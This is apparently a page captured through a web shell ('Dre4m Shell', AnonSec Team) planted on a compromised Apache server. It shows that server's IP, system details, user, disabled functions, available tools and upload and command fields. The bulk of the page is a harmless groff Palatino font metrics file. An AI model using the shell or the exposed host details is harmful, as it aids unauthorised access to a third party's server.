Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 13.58.101.151
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/groff/1.22.4/font/devps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/groff/1.22.4/font/devps/PR
# This file has been generated with GNU afmtodit (groff) version 1.20.1
#
#   FullName Palatino Roman
#   Version 003.001
#   FamilyName Palatino
#
# The original AFM file contains the following comments:
#
#   Notice Copyright (c) 1985, 1987, 1989, 1990, 1992, 1997, 1998, 1999 Adobe Systems Incorporated.  All Rights Reserved.Palatino is a trademark of Linotype-Hell AG and/or its subsidiaries.
#   Comment Copyright (c) 1985, 1987, 1989, 1990, 1992, 1997, 1998, 1999 Adobe Systems Incorporated.  All Rights Reserved.
#   Comment Creation Date: Mon Aug 23 13:13:46 1999
#   Comment UniqueID 44715
#   Comment VMusage 42362 53298

name PR
internalname Palatino-Roman
spacewidth 250
encoding text.enc
ligatures fi fl 0

kernpairs
A T -74
A V -111
A W -74
A Y -111
A 'Y -111
A :Y -111
A ' -74
A cq -74
A u0020 -55
A v -92
A w -74
A y -74
A 'y -74
A :y -74
'A T -74
'A V -111
'A W -74
'A Y -111
'A 'Y -111
'A :Y -111
'A ' -74
'A cq -74
'A u0020 -55
'A v -92
'A w -74
'A y -74
'A 'y -74
'A :y -74
^A T -74
^A V -111
^A W -74
^A Y -111
^A 'Y -111
^A :Y -111
^A ' -74
^A cq -74
^A u0020 -55
^A v -92
^A w -74
^A y -74
^A 'y -74
^A :y -74
:A T -74
:A V -111
:A W -74
:A Y -111
:A 'Y -111
:A :Y -111
:A ' -74
:A cq -74
:A u0020 -55
:A v -92
:A w -74
:A y -74
:A 'y -74
:A :y -74
`A T -74
`A V -111
`A W -74
`A Y -111
`A 'Y -111
`A :Y -111
`A ' -74
`A cq -74
`A u0020 -55
`A v -92
`A w -74
`A y -74
`A 'y -74
`A :y -74
oA T -74
oA V -111
oA W -74
oA Y -111
oA 'Y -111
oA :Y -111
oA ' -74
oA cq -74
oA u0020 -55
oA v -92
oA w -74
oA y -74
oA 'y -74
oA :y -74
~A T -74
~A V -111
~A W -74
~A Y -111
~A 'Y -111
~A :Y -111
~A ' -74
~A cq -74
~A u0020 -55
~A v -92
~A w -74
~A y -74
~A 'y -74
~A :y -74
F A -74
F 'A -74
F ^A -74
F :A -74
F `A -74
F oA -74
F ~A -74
F , -92
F . -92
L T -74
L V -92
L W -74
L Y -92
L 'Y -92
L :Y -92
L ' -74
L cq -74
L u0020 -37
L y -55
L 'y -55
L :y -55
/L T -74
/L V -92
/L W -74
/L Y -92
/L 'Y -92
/L :Y -92
/L ' -74
/L cq -74
/L u0020 -37
/L y -55
/L 'y -55
/L :y -55
P A -92
P 'A -92
P ^A -92
P :A -92
P `A -92
P oA -92
P ~A -92
P , -129
P . -129
P u0020 -18
R T -37
R V -55
R W -37
R Y -37
R 'Y -37
R :Y -37
R y -37
R 'y -37
R :y -37
T A -74
T 'A -74
T ^A -74
T :A -74
T `A -74
T oA -74
T ~A -74
T O -18
T 'O -18
T ^O -18
T :O -18
T `O -18
T /O -18
T ~O -18
T a -92
T 'a -92
T ^a -92
T :a -52
T `a -52
T oa -92
T ~a -52
T c -111
T ,c -111
T : -55
T , -74
T e -92
T 'e -92
T ^e -92
T :e -52
T `e -92
T - -55
T hy -55
T i -55
T 'i -55
T o -92
T 'o -92
T ^o -92
T :o -92
T `o -92
T /o -92
T ~o -92
T . -74
T r -90
T s -90
T vs -50
T ; -55
T u -90
T 'u -90
T ^u -90
T :u -90
T `u -90
T w -90
T y -90
T 'y -90
T :y -90
V A -111
V 'A -111
V ^A -111
V :A -111
V `A -111
V oA -111
V ~A -111
V a -92
V 'a -92
V ^a -92
V :a -92
V `a -92
V oa -92
V ~a -92
V : -55
V , -129
V e -111
V 'e -111
V ^e -111
V :e -71
V `e -71
V - -74
V hy -74
V i -55
V 'i -55
V o -111
V 'o -111
V ^o -111
V :o -111
V `o -71
V /o -111
V ~o -111
V . -129
V r -92
V ; -55
V u -92
V 'u -92
V ^u -92
V :u -92
V `u -92
V y -92
V 'y -92
V :y -92
W A -92
W 'A -92
W ^A -92
W :A -92
W `A -92
W oA -92
W ~A -92
W a -92
W 'a -92
W ^a -92
W :a -92
W `a -92
W oa -92
W ~a -92
W : -18
W , -92
W e -92
W 'e -92
W ^e -92
W :e -92
W `e -92
W - -55
W hy -55
W i -55
W 'i -55
W ^i -55
W :i -55
W `i -55
W o -92
W 'o -92
W ^o -92
W :o -92
W `o -92
W /o -92
W ~o -92
W . -92
W r -74
W ; -18
W u -50
W 'u -50
W ^u -50
W :u -50
W `u -50
W y -50
W 'y -50
W :y -50
Y A -92
Y 'A -92
Y ^A -92
Y :A -92
Y `A -92
Y oA -92
Y ~A -92
Y a -92
Y 'a -92
Y ^a -92
Y :a -92
Y `a -92
Y oa -92
Y ~a -92
Y : -74
Y , -111
Y e -92
Y 'e -92
Y ^e -92
Y :e -92
Y `e -92
Y - -92
Y hy -92
Y i -55
Y 'i -55
Y o -92
Y 'o -92
Y ^o -92
Y :o -92
Y `o -92
Y /o -92
Y ~o -92
Y p -111
Y . -111
Y q -90
Y ; -74
Y u0020 -18
Y u -90
Y 'u -90
Y ^u -90
Y :u -90
Y `u -90
Y v -90
'Y A -92
'Y 'A -92
'Y ^A -92
'Y :A -92
'Y `A -92
'Y oA -92
'Y ~A -92
'Y a -92
'Y 'a -92
'Y ^a -92
'Y :a -92
'Y `a -92
'Y oa -92
'Y ~a -92
'Y : -74
'Y , -111
'Y e -92
'Y 'e -92
'Y ^e -92
'Y :e -92
'Y `e -92
'Y - -92
'Y hy -92
'Y i -55
'Y 'i -55
'Y o -92
'Y 'o -92
'Y ^o -92
'Y :o -92
'Y `o -92
'Y /o -92
'Y ~o -92
'Y p -111
'Y . -111
'Y q -90
'Y ; -74
'Y u0020 -18
'Y u -90
'Y 'u -90
'Y ^u -90
'Y :u -90
'Y `u -90
'Y v -90
:Y A -92
:Y 'A -92
:Y ^A -92
:Y :A -92
:Y `A -92
:Y oA -92
:Y ~A -92
:Y a -92
:Y 'a -92
:Y ^a -92
:Y :a -92
:Y `a -92
:Y oa -92
:Y ~a -92
:Y : -74
:Y , -111
:Y e -92
:Y 'e -92
:Y ^e -92
:Y :e -92
:Y `e -92
:Y - -92
:Y hy -92
:Y i -55
:Y 'i -55
:Y o -92
:Y 'o -92
:Y ^o -92
:Y :o -92
:Y `o -92
:Y /o -92
:Y ~o -92
:Y p -111
:Y . -111
:Y q -90
:Y ; -74
:Y u0020 -18
:Y u -90
:Y 'u -90
:Y ^u -90
:Y :u -90
:Y `u -90
:Y v -90
f f -18
f ' 55
f cq 55
1 1 -55
` ` -37
` oq -37
oq ` -37
oq oq -37
' ' -37
' cq -37
cq ' -37
cq cq -37
r c -18
r ,c -18
r , -74
r d -18
r e -18
r 'e -18
r ^e -18
r :e -18
r `e -18
r g -18
r h -18
r - -18
r hy -18
r o -18
r 'o -18
r ^o -18
r :o -18
r `o -18
r /o -18
r ~o -18
r . -74
r q -18
r ' 74
r cq 74
r u -8
r 'u -8
r ^u -8
r :u -8
r `u -8
u0020 A -37
u0020 'A -37
u0020 ^A -37
u0020 :A -37
u0020 `A -37
u0020 oA -37
u0020 ~A -37
u0020 Y -18
u0020 'Y -18
u0020 :Y -18
v , -111
v . -111
w , -92
w . -92
y , -111
y . -111
'y , -111
'y . -111
:y , -111
:y . -111

charset
ha	606,689	2	0	asciicircum
ti	606,347	0	1	asciitilde
vS	525,908,20	2	2	Scaron
vZ	667,908,3	2	3	Zcaron
vs	424,697,20	2	4	scaron
vz	500,697,3	2	5	zcaron
:Y	667,868,3	2	6	Ydieresis
tm	979,689	2	7	trademark
aq	208,709	2	8	quotesingle
Eu	500,689,20,1,2	2	9	Euro
space	250	0	32	space
!	278,694,5	2	33	exclam
"	371,709	2	34	quotedbl
dq	"
#	500,684	2	35	numbersign
sh	"
$	500,731,116	2	36	dollar
Do	"
%	840,709,20	2	37	percent
&	778,689,20	2	38	ampersand
'	278,709	2	39	quoteright
cq	"
(	333,726,215	2	40	parenleft
)	333,726,215	2	41	parenright
*	389,689	2	42	asterisk
+	606,512	0	43	plus
,	250,123,155	0	44	comma
-	333,287	0	45	hyphen
hy	"
.	250,111,5	0	46	period
/	606,726,119	2	47	slash
sl	"
0	500,689,20	2	48	zero
1	500,694,3	2	49	one
2	500,689,3	2	50	two
3	500,689,20	2	51	three
4	500,694,3	2	52	four
5	500,689,20	2	53	five
6	500,689,20	2	54	six
7	500,689,3	2	55	seven
8	500,689,20	2	56	eight
9	500,689,20	2	57	nine
:	250,456,5	0	58	colon
;	250,456,153	0	59	semicolon
<	606,522	0	60	less
=	606,386	0	61	equal
>	606,522	0	62	greater
?	444,694,5	2	63	question
@	747,694,20	2	64	at
at	"
A	778,700,3	2	65	A
B	611,692,3	2	66	B
C	709,709,20	2	67	C
D	774,692,3	2	68	D
E	611,692,3	2	69	E
F	556,692,3	2	70	F
G	763,709,20	2	71	G
H	832,692,3	2	72	H
I	337,692,3	2	73	I
J	333,692,194,0,15	2	74	J
K	726,692,3	2	75	K
L	611,692,3	2	76	L
M	946,692,13	2	77	M
N	831,692,20	2	78	N
O	786,709,20	2	79	O
P	604,692,3	2	80	P
Q	786,709,176	2	81	Q
R	668,692,3,1	2	82	R
S	525,709,20	2	83	S
T	613,692,3	2	84	T
U	778,692,20	2	85	U
V	722,692,9	2	86	V
W	1000,700,9	2	87	W
X	667,700,3	2	88	X
Y	667,705,3	2	89	Y
Z	667,692,3	2	90	Z
[	333,726,184	2	91	bracketleft
lB	"
\	606,726	2	92	backslash
rs	"
]	333,726,184	2	93	bracketright
rB	"
^	333,677	2	94	circumflex
a^	"
_	500,0,125	0	95	underscore
`	278,709	2	96	quoteleft
oq	"
a	500,469,12	0	97	a
b	553,726,12,0,15	2	98	b
c	444,469,20	0	99	c
d	611,726,12	2	100	d
e	479,469,20	0	101	e
f	333,728,3,8	2	102	f
g	556,469,283	1	103	g
h	582,726,3	2	104	h
i	291,687,3	2	105	i
j	234,688,283,0,40	3	106	j
k	556,726,12	2	107	k
l	291,726,3	2	108	l
m	883,469,3	0	109	m
n	582,469,3	0	110	n
o	546,469,20	0	111	o
p	601,469,281	1	112	p
q	560,469,281	1	113	q
r	395,469,3	0	114	r
s	424,469,20	0	115	s
t	326,621,12	2	116	t
u	603,469,12	0	117	u
v	565,459,7	0	118	v
w	834,469,7	0	119	w
x	516,469,3	0	120	x
y	556,459,283	1	121	y
z	500,462,3	0	122	z
{	333,726,175	2	123	braceleft
lC	"
|	606,750,250	2	124	bar
ba	"
}	333,726,175	2	125	braceright
rC	"
~	333,640	2	126	tilde
a~	"
bq	278,110,153	0	128	quotesinglbase
Fo	500,428	0	129	guillemotleft
Fc	500,428	0	130	guillemotright
bu	606,516	0	131	bullet
Fn	500,706,262	2	132	florin
f/	167,689,0,170,166	2	133	fraction
%0	1144,709,20	2	134	perthousand
dg	500,694,5	2	135	dagger
dd	500,694,249	2	136	daggerdbl
en	500,277	0	137	endash
em	1000,277	0	138	emdash
fi	605,728,3	2	140	fi
fl	608,728,3	2	141	fl
.i	287,469,3	0	144	dotlessi
ga	333,677	2	146	grave
a"	380,687	2	147	hungarumlaut
a.	250,687	2	148	dotaccent
ab	333,664	2	149	breve
ah	333,677	2	150	caron
ao	333,696	2	151	ring
ho	313,0,225	0	152	ogonek
lq	500,709	2	153	quotedblleft
rq	500,709	2	154	quotedblright
oe	827,469,20	0	155	oe
/l	291,726,3,15,14	2	156	lslash
Bq	500,110,153	0	157	quotedblbase
OE	998,709,20	2	158	OE
/L	611,692,3	2	159	Lslash
r!	278,469,225	0	161	exclamdown
ct	500,562,101	0	162	cent
Po	500,694,13	2	163	sterling
Cs	500,531	0	164	currency
Ye	500,701,3	2	165	yen
bb	606,675,175	2	166	brokenbar
sc	500,709,219	2	167	section
ad	333,687	2	168	dieresis
co	747,706,18	2	169	copyright
Of	333,709	2	170	ordfeminine
fo	331,428	0	171	guilsinglleft
tno	606,386	0	172	logicalnot
\-	606,289	0	173	minus
rg	747,706,18	2	174	registered
a-	333,591	0	175	macron
de	400,689	2	176	degree
t+-	606,512	0	177	plusminus
S2	300,689,0,1	2	178	twosuperior
S3	300,689	2	179	threesuperior
aa	333,677	2	180	acute
*m	574,470,216	0	181	mu
mc	"
ps	628,694,150	2	182	paragraph
pc	250,319	0	183	periodcentered
ac	333,0,225	0	184	cedilla
S1	300,692	2	185	onesuperior
Om	333,709	2	186	ordmasculine
fc	331,428	0	187	guilsinglright
14	750,692,3	2	188	onequarter
12	750,692,3	2	189	onehalf
34	750,689,3	2	190	threequarters
r?	444,469,231	0	191	questiondown
`A	778,908,3	2	192	Agrave
'A	778,908,3	2	193	Aacute
^A	778,908,3	2	194	Acircumflex
~A	778,871,3	2	195	Atilde
:A	778,868,3	2	196	Adieresis
oA	778,927,3	2	197	Aring
AE	944,692,3,0,10	2	198	AE
,C	709,709,225	2	199	Ccedilla
`E	611,908,3	2	200	Egrave
'E	611,908,3	2	201	Eacute
^E	611,908,3	2	202	Ecircumflex
:E	611,868,3	2	203	Edieresis
`I	337,908,3	2	204	Igrave
'I	337,908,3	2	205	Iacute
^I	337,908,3	2	206	Icircumflex
:I	337,868,3	2	207	Idieresis
-D	774,692,3	2	208	Eth
~N	831,871,20	2	209	Ntilde
`O	786,908,20	2	210	Ograve
'O	786,908,20	2	211	Oacute
^O	786,908,20	2	212	Ocircumflex
~O	786,883,20	2	213	Otilde
:O	786,868,20	2	214	Odieresis
tmu	606,474	0	215	multiply
/O	833,709,20	2	216	Oslash
`U	778,908,20	2	217	Ugrave
'U	778,908,20	2	218	Uacute
^U	778,908,20	2	219	Ucircumflex
:U	778,868,20	2	220	Udieresis
'Y	667,908,3	2	221	Yacute
TP	604,692,3	2	222	Thorn
ss	556,731,9	2	223	germandbls
`a	500,697,12	2	224	agrave
'a	500,697,12	2	225	aacute
^a	500,697,12	2	226	acircumflex
~a	500,672,12	2	227	atilde
:a	500,657,12	2	228	adieresis
oa	500,716,12	2	229	aring
ae	758,469,20	0	230	ae
,c	444,469,225	0	231	ccedilla
`e	479,697,20	2	232	egrave
'e	479,697,20	2	233	eacute
^e	479,697,20	2	234	ecircumflex
:e	479,657,20	2	235	edieresis
`i	287,697,3	2	236	igrave
'i	287,697,3	2	237	iacute
^i	287,697,3,13,12	2	238	icircumflex
:i	287,657,3,12,11	2	239	idieresis
Sd	546,728,20	2	240	eth
~n	582,672,3	2	241	ntilde
`o	546,697,20	2	242	ograve
'o	546,697,20	2	243	oacute
^o	546,697,20	2	244	ocircumflex
~o	546,672,20	2	245	otilde
:o	546,657,20	2	246	odieresis
tdi	606,512	0	247	divide
/o	556,474,23	0	248	oslash
`u	603,697,12	2	249	ugrave
'u	603,697,12	2	250	uacute
^u	603,697,12	2	251	ucircumflex
:u	603,657,12	2	252	udieresis
'y	556,697,283	3	253	yacute
Tp	601,726,281,0,2	3	254	thorn
:y	556,657,283	3	255	ydieresis
u2026	1000,111,5	0	256	ellipsis

Anon7 - 2022
AnonSec Team